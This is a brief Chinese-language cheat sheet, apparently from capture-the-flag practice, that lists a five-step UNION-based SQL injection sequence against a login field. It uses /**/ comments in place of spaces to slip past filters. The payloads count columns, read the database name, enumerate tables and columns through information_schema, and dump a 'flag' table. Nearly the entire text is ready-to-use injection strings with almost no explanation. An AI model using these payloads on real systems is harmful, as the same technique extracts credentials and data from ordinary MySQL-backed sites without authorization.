bp破解密码常用套路： 1、查字段 admin'/**/or/**/1=1/**/order/**/by/**/3#admin'/**/or/**/1=1/**/union/**/select/**/1,2,3# 2、查库(web2) admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3# 3、查表（flag,user） admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'# admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 4、查字段flag admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'# 5、查字段flag内容admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#